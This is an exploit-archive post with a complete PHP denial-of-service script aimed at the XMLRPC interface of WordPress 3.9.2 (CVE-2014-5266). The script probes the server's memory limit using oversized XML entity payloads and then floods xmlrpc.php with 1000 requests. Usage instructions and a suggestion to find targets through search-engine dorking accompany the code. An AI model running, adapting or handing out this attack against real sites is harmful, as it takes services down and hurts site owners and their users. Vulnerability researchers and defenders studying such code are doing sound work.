WordPress XMLRPC 3.9.2 Denial of Service

=============================================================================================================================================
    | # Title     : WordPress XMLRPC v3.9.2 Denial of Service vulnerability                                                                     |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.WordPress.org/                                                                                                  |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: This code performs a Denial of Service (DoS) attack against WordPress' XMLRPC interface, which had a vulnerability that was consuming server resources when sending large requests.
       
       (Related : https://packetstorm.news/files/id/180506/ Linked CVE numbers: CVE-2014-5266 ),
    	
    [+] save code as poc.php.
    
    [+] Set taget : Line 84.
    
    [+] USage : php poc.php 
    
    [+] PayLoad :
    
    <?php
    
    class WordpressXMLRPCDoS {
        private $target;
        private $requestLimit;
        private $defaultLimit;
        private $fingerprintStep;
    
        public function __construct($target, $requestLimit = 1000, $defaultLimit = 8, $fingerprintStep = 8) {
            $this->target = $target;
            $this->requestLimit = $requestLimit;
            $this->defaultLimit = $defaultLimit;
            $this->fingerprintStep = $fingerprintStep;
        }
    
        private function sendRequest($xml) {
            $ch = curl_init($this->target . '/xmlrpc.php');
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
            curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: text/xml']);
            curl_setopt($ch, CURLOPT_TIMEOUT, 3);
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            return $httpCode;
        }
    
        private function fingerprint() {
            $memoryToUse = $this->fingerprintStep;
            while ($memoryToUse < 1024) {
                echo "Trying memory limit {$memoryToUse}MB\n";
                $xml = $this->generateXML($memoryToUse);
                $responseCode = $this->sendRequest($xml);
    
                if ($responseCode == 500) {
                    $lastLimit = $memoryToUse - $this->fingerprintStep;
                    echo "Got an error - using limit {$lastLimit}MB\n";
                    return $lastLimit;
                }
    
                $memoryToUse += $this->fingerprintStep;
            }
    
            echo "Cannot determine limit, using default of {$this->defaultLimit}MB\n";
            return $this->defaultLimit;
        }
    
        private function generateXML($size) {
            $entity = bin2hex(random_bytes(2));
            $doctype = bin2hex(random_bytes(3));
            $param1 = bin2hex(random_bytes(3));
            $param2 = bin2hex(random_bytes(3));
    
            $sizeBytes = $size * 1024;
            $xmlTemplate = "<?xml version='1.0' encoding='ISO-8859-1'?>"
                         . "<!DOCTYPE {$doctype} ["
                         . "<!ENTITY {$entity} '" . str_repeat('A', $sizeBytes) . "'>]"
                         . "<methodCall>"
                         . "<methodName>&{$entity};</methodName>"
                         . "<params>"
                         . "<param><value>{$param1}</value></param>"
                         . "<param><value>{$param2}</value></param>"
                         . "</params></methodCall>";
            return $xmlTemplate;
        }
    
        public function run() {
            echo "Fingerprinting memory limit...\n";
            $size = $this->fingerprint();
            echo "Using {$size}MB as memory limit\n";
            
            $xml = $this->generateXML($size);
            
            for ($i = 1; $i <= $this->requestLimit; $i++) {
                echo "Sending request #{$i}...\n";
                $this->sendRequest($xml);
            }
        }
    }
    
    $target = "http://example.com"; // ضع هنا رابط الهدف
    $attack = new WordpressXMLRPCDoS($target);
    $attack->run();
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================